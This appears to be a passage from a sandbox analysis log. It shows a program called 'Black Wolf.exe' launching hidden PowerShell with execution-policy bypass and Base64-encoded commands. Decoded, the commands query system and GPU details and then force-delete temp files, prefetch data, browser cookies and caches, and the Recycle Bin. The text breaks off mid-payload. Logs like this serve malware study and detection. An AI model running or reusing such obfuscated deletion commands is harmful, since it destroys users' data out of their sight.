  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA"
  2⤵
  PID:2636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA
    3⤵
    PID:2088
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yynm3e22\yynm3e22.cmdline"
      4⤵
      PID:4296
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB905.tmp" "c:\Users\Admin\AppData\Local\Temp\yynm3e22\CSC1BE87F54B4184E66811AC1CDEA4754E4.TMP"
        5⤵
        
        PID:804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABnAHAAdQAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQA7ACAAJAB0AGUAbQBwACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABnAHAAdQBUAGUAbQBwACAAPQAgACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAAiAHIAbwBvAHQALwBXAE0ASQAiACAALQBDAGwAYQBzAHMAIABNAFMAQQBjAHAAaQBfAFQAaABlAHIAbQBhAGwAWgBvAG4AZQBUAGUAbQBwAGUAcgBhAHQAdQByAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAKQAuAEMAdQByAHIAZQBuAHQAVABlAG0AcABlAHIAYQB0AHUAcgBlADsAIAAkAHQAZQBtAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACgAJABnAHAAdQBUAGUAbQBwACAALQAgADIANwAzADIAKQAgAC8AIAAxADAALAAgADEAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0AOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AIgA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIARwBQAFUAIABOAGEAbQBlADoAIAAkACgAJABnAHAAdQAuAE4AYQBtAGUAKQAiADsAIABpAGYAIAAoACQAdABlAG0AcAAgAC0AYQBuAGQAIAAkAHQAZQBtAHAAIAAtAGcAdAAgADAAKQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBHAFAAVQAgAFQAZQBtAHAAOgAgACQAdABlAG0AcACwAEMAIgAgAH0AIABlAGwAcwBlACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEcAUABVACAAVABlAG0AcAA6ACAATgAvAEEAIgAgAH0AOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEQAcgBpAHYAZQByACAAVgBlAHIAcwBpAG8AbgA6ACAAJAAoACQAZwBwAHUALgBEAHIAaQB2AGUAcgBWAGUAcgBzAGkAbwBuACkAIgA="
  2⤵
  PID:5460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABnAHAAdQAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQA7ACAAJAB0AGUAbQBwACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABnAHAAdQBUAGUAbQBwACAAPQAgACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAAiAHIAbwBvAHQALwBXAE0ASQAiACAALQBDAGwAYQBzAHMAIABNAFMAQQBjAHAAaQBfAFQAaABlAHIAbQBhAGwAWgBvAG4AZQBUAGUAbQBwAGUAcgBhAHQAdQByAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAKQAuAEMAdQByAHIAZQBuAHQAVABlAG0AcABlAHIAYQB0AHUAcgBlADsAIAAkAHQAZQBtAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACgAJABnAHAAdQBUAGUAbQBwACAALQAgADIANwAzADIAKQAgAC8AIAAxADAALAAgADEAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0AOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AIgA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIARwBQAFUAIABOAGEAbQBlADoAIAAkACgAJABnAHAAdQAuAE4AYQBtAGUAKQAiADsAIABpAGYAIAAoACQAdABlAG0AcAAgAC0AYQBuAGQAIAAkAHQAZQBtAHAAIAAtAGcAdAAgADAAKQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBHAFAAVQAgAFQAZQBtAHAAOgAgACQAdABlAG0AcACwAEMAIgAgAH0AIABlAGwAcwBlACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEcAUABVACAAVABlAG0AcAA6ACAATgAvAEEAIgAgAH0AOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEQAcgBpAHYAZQByACAAVgBlAHIAcwBpAG8AbgA6ACAAJAAoACQAZwBwAHUALgBEAHIAaQB2AGUAcgBWAGUAcgBzAGkAbwBuACkAIgA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3492
- C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe
  "C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\Admin\AppData\Roaming\react-example" --field-trial-handle=1636,i,6207529291018093395,9840552113072448670,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,7676601423377663462,9896368510582746884,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3364 /prefetch:12
  2⤵
  - Executes dropped EXE
  PID:5764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHMAaQB6AGUAIAA9ACAAMAA7AAoAIAAgACAAIAAgACAAJABwAGEAdABoAHMAIAA9ACAAQAAoACQAZQBuAHYAOgBUAEUATQBQACwAIAAiACQAZQBuAHYAOgBXAEkATgBEAEkAUgBcAFQAZQBtAHAAIgAsACAAIgAkAGUAbgB2ADoAVwBJAE4ARABJAFIAXABTAG8AZgB0AHcAYQByAGUARABpAHMAdAByAGkAYgB1AHQAaQBvAG4AXABEAG8AdwBuAGwAbwBhAGQAIgApADsACgAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAHAAYQB0AGgAIABpAG4AIAAkAHAAYQB0AGgAcwApACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABwAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBsACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAYQB0AGgAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAaQB0AGUAbQAgAGkAbgAgACQAYwBvAGwAKQAgAHsAIAAkAHMAaQB6AGUAIAArAD0AIAAkAGkAdABlAG0ALgBMAGUAbgBnAHQAaAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABzAGkAegBlACAALwAgADEATQBCACwAIAAyACkACgAgACAAIAAgAA=="
  2⤵
  PID:5132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHMAaQB6AGUAIAA9ACAAMAA7AAoAIAAgACAAIAAgACAAJABwAGEAdABoAHMAIAA9ACAAQAAoACQAZQBuAHYAOgBUAEUATQBQACwAIAAiACQAZQBuAHYAOgBXAEkATgBEAEkAUgBcAFQAZQBtAHAAIgAsACAAIgAkAGUAbgB2ADoAVwBJAE4ARABJAFIAXABTAG8AZgB0AHcAYQByAGUARABpAHMAdAByAGkAYgB1AHQAaQBvAG4AXABEAG8AdwBuAGwAbwBhAGQAIgApADsACgAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAHAAYQB0AGgAIABpAG4AIAAkAHAAYQB0AGgAcwApACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABwAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBsACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAYQB0AGgAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAaQB0AGUAbQAgAGkAbgAgACQAYwBvAGwAKQAgAHsAIAAkAHMAaQB6AGUAIAArAD0AIAAkAGkAdABlAG0ALgBMAGUAbgBnAHQAaAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABzAGkAegBlACAALwAgADEATQBCACwAIAAyACkACgAgACAAIAAgAA==
    3⤵
    PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAiACwAIAAiAEgAaQBkAGQAZQBuACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIgAsACAAIgBJAHcAQQBnAEEARgBJAEEAZABRAEIAdQBBAEMAQQBBAFkAUQBCAHoAQQBDAEEAQQBRAFEAQgBrAEEARwAwAEEAYQBRAEIAdQBBAEcAawBBAGMAdwBCADAAQQBIAEkAQQBZAFEAQgAwAEEARwA4AEEAYwBnAEEASwBBAEYASQBBAFoAUQBCAHQAQQBHADgAQQBkAGcAQgBsAEEAQwAwAEEAUwBRAEIAMABBAEcAVQBBAGIAUQBBAGcAQQBDADAAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMASQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBBAHEAQQBDAEkAQQBJAEEAQQB0AEEARgBJAEEAWgBRAEIAagBBAEgAVQBBAGMAZwBCAHoAQQBHAFUAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBLAEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBDADAAQQBTAFEAQgAwAEEARwBVAEEAYgBRAEEAZwBBAEMAMABBAFUAQQBCAGgAQQBIAFEAQQBhAEEAQQBnAEEAQwBJAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBFAHcAQQBUAHcAQgBEAEEARQBFAEEAVABBAEIAQgBBAEYAQQBBAFUAQQBCAEUAQQBFAEUAQQBWAEEAQgBCAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBDAG8AQQBJAGcAQQBnAEEAQwAwAEEAVQBnAEIAbABBAEcATQBBAGQAUQBCAHkAQQBIAE0AQQBaAFEAQQBnAEEAQwAwAEEAUgBnAEIAdgBBAEgASQBBAFkAdwBCAGwAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQQBvAEEAVQBnAEIAbABBAEcAMABBAGIAdwBCADIAQQBHAFUAQQBMAFEAQgBKAEEASABRAEEAWgBRAEIAdABBAEMAQQBBAEwAUQBCAFEAQQBHAEUAQQBkAEEAQgBvAEEAQwBBAEEASQBnAEIARABBAEQAbwBBAFgAQQBCAFgAQQBHAGsAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEYAdwBBAFYAQQBCAGwAQQBHADAAQQBjAEEAQgBjAEEAQwBvAEEASQBnAEEAZwBBAEMAMABBAFUAZwBCAGwAQQBHAE0AQQBkAFEAQgB5AEEASABNAEEAWgBRAEEAZwBBAEMAMABBAFIAZwBCAHYAQQBIAEkAQQBZAHcAQgBsAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEEAbwBBAFUAZwBCAGwAQQBHADAAQQBiAHcAQgAyAEEARwBVAEEATABRAEIASgBBAEgAUQBBAFoAUQBCAHQAQQBDAEEAQQBMAFEAQgBRAEEARwBFAEEAZABBAEIAbwBBAEMAQQBBAEkAZwBCAEQAQQBEAG8AQQBYAEEAQgBYAEEARwBrAEEAYgBnAEIAawBBAEcAOABBAGQAdwBCAHoAQQBGAHcAQQBVAEEAQgB5AEEARwBVAEEAWgBnAEIAbABBAEgAUQBBAFkAdwBCAG8AQQBGAHcAQQBLAGcAQQBpAEEAQwBBAEEATABRAEIAUwBBAEcAVQBBAFkAdwBCADEAQQBIAEkAQQBjAHcAQgBsAEEAQwBBAEEATABRAEIARwBBAEcAOABBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQB0AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAEIAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEYATQBBAGEAUQBCAHMAQQBHAFUAQQBiAGcAQgAwAEEARwB3AEEAZQBRAEIARABBAEcAOABBAGIAZwBCADAAQQBHAGsAQQBiAGcAQgAxAEEARwBVAEEAQwBnAEIAUwBBAEcAVQBBAGIAUQBCAHYAQQBIAFkAQQBaAFEAQQB0AEEARQBrAEEAZABBAEIAbABBAEcAMABBAEkAQQBBAHQAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAaQBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBWAEEARgBNAEEAUgBRAEIAUwBBAEYAQQBBAFUAZwBCAFAAQQBFAFkAQQBTAFEAQgBNAEEARQBVAEEAWABBAEIAQgBBAEgAQQBBAGMAQQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAVABBAEIAdgBBAEcATQBBAFkAUQBCAHMAQQBGAHcAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBYAEEAQgBYAEEARwBrAEEAYgBnAEIAawBBAEcAOABBAGQAdwBCAHoAQQBGAHcAQQBTAFEAQgBPAEEARwBVAEEAZABBAEIARABBAEcARQBBAFkAdwBCAG8AQQBHAFUAQQBYAEEAQQBxAEEAQwBJAEEASQBBAEEAdABBAEYASQBBAFoAUQBCAGoAQQBIAFUAQQBjAGcAQgB6AEEARwBVAEEASQBBAEEAdABBAEUAWQBBAGIAdwBCAHkAQQBHAE0AQQBaAFEAQQBnAEEAQwAwAEEAUgBRAEIAeQBBAEgASQBBAGIAdwBCAHkAQQBFAEUAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFUAdwBCAHAAQQBHAHcAQQBaAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHUAQQBIAFEAQQBhAFEAQgB1AEEASABVAEEAWgBRAEEASwBBAEYASQBBAFoAUQBCAHQAQQBHADgAQQBkAGcAQgBsAEEAQwAwAEEAUwBRAEIAMABBAEcAVQBBAGIAUQBBAGcAQQBDADAAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMASQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBVAEEAVQB3AEIARgBBAEYASQBBAFUAQQBCAFMAQQBFADgAQQBSAGcAQgBKAEEARQB3AEEAUgBRAEIAYwBBAEUARQBBAGMAQQBCAHcAQQBFAFEAQQBZAFEAQgAwAEEARwBFAEEAWABBAEIATQBBAEcAOABBAFkAdwBCAGgAQQBHAHcAQQBYAEEAQgBOAEEARwBrAEEAWQB3AEIAeQBBAEcAOABBAGMAdwBCAHYAQQBHAFkAQQBkAEEAQgBjAEEARgBjAEEAYQBRAEIAdQBBAEcAUQBBAGIAdwBCADMAQQBIAE0AQQBYAEEAQgBKAEEARQA0AEEAWgBRAEIAMABBAEUATQBBAGIAdwBCAHYAQQBHAHMAQQBhAFEAQgBsAEEASABNAEEAWABBAEEAcQBBAEMASQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAEkAQQBBAHQAQQBFAFkAQQBiAHcAQgB5AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAEsAQQBGAEkAQQBaAFEAQgB0AEEARwA4AEEAZABnAEIAbABBAEMAMABBAFMAUQBCADAAQQBHAFUAQQBiAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAEkAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAVQBBAFUAdwBCAEYAQQBGAEkAQQBVAEEAQgBTAEEARQA4AEEAUgBnAEIASgBBAEUAdwBBAFIAUQBCAGMAQQBFAEUAQQBjAEEAQgB3AEEARQBRAEEAWQBRAEIAMABBAEcARQBBAFgAQQBCAE0AQQBHADgAQQBZAHcAQgBoAEEARwB3AEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBWAFEAQgB6AEEARwBVAEEAYwBnAEEAZwBBAEUAUQBBAFkAUQBCADAAQQBHAEUAQQBYAEEAQgBFAEEARwBVAEEAWgBnAEIAaABBAEgAVQBBAGIAQQBCADAAQQBGAHcAQQBRAHcAQgBoAEEARwBNAEEAYQBBAEIAbABBAEYAdwBBAEsAZwBBAGkAQQBDAEEAQQBMAFEAQgBTAEEARwBVAEEAWQB3AEIAMQBBAEgASQBBAGMAdwBCAGwAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBFAFUAQQBjAGcAQgB5AEEARwA4AEEAYwBnAEIAQgBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBNAEEAYQBRAEIAcwBBAEcAVQBBAGIAZwBCADAAQQBHAHcAQQBlAFEAQgBEAEEARwA4AEEAYgBnAEIAMABBAEcAawBBAGIAZwBCADEAQQBHAFUAQQBDAGcAQgBTAEEARwBVAEEAYgBRAEIAdgBBAEgAWQBBAFoAUQBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAQQBBAFkAUQBCADAAQQBHAGcAQQBJAEEAQQBpAEEAQwBRAEEAWgBRAEIAdQBBAEgAWQBBAE8AZwBCAFYAQQBGAE0AQQBSAFEAQgBTAEEARgBBAEEAVQBnAEIAUABBAEUAWQBBAFMAUQBCAE0AQQBFAFUAQQBYAEEAQgBCAEEASABBAEEAYwBBAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBUAEEAQgB2AEEARwBNAEEAWQBRAEIAcwBBAEYAdwBBAFQAUQBCAHYAQQBIAG8AQQBhAFEAQgBzAEEARwB3AEEAWQBRAEIAYwBBAEUAWQBBAGEAUQBCAHkAQQBHAFUAQQBaAGcAQgB2AEEASABnAEEAWABBAEIAUQBBAEgASQBBAGIAdwBCAG0AQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEEAcQBBAEYAdwBBAFkAdwBCAGgAQQBHAE0AQQBhAEEAQgBsAEEARABJAEEAWABBAEEAcQBBAEMASQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAEkAQQBBAHQAQQBFAFkAQQBiAHcAQgB5AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAEsAQQBBAG8AQQBJAHcAQQBnAEEARQBNAEEAYgBBAEIAbABBAEcARQBBAGMAZwBBAGcAQQBGAEkAQQBaAFEAQgBqAEEASABrAEEAWQB3AEIAcwBBAEcAVQBBAEkAQQBCAEMAQQBHAGsAQQBiAGcAQQBLAEEARQBNAEEAYgBBAEIAbABBAEcARQBBAGMAZwBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABrAEEAWQB3AEIAcwBBAEcAVQBBAFEAZwBCAHAAQQBHADQAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBLAEEAQQBvAEEASQB3AEEAZwBBAEUAWQBBAGIAQQBCADEAQQBIAE0AQQBhAEEAQQBnAEEARQBRAEEAVABnAEIAVABBAEMAQQBBAFEAdwBCAGgAQQBHAE0AQQBhAEEAQgBsAEEAQQBvAEEAUQB3AEIAcwBBAEcAVQBBAFkAUQBCAHkAQQBDADAAQQBSAEEAQgB1AEEASABNAEEAUQB3AEIAcwBBAEcAawBBAFoAUQBCAHUAQQBIAFEAQQBRAHcAQgBoAEEARwBNAEEAYQBBAEIAbABBAEMAQQBBAEwAUQBCAEYAQQBIAEkAQQBjAGcAQgB2AEEASABJAEEAUQBRAEIAagBBAEgAUQBBAGEAUQBCAHYAQQBHADQAQQBJAEEAQgBUAEEARwBrAEEAYgBBAEIAbABBAEcANABBAGQAQQBCAHMAQQBIAGsAQQBRAHcAQgB2AEEARwA0AEEAZABBAEIAcABBAEcANABBAGQAU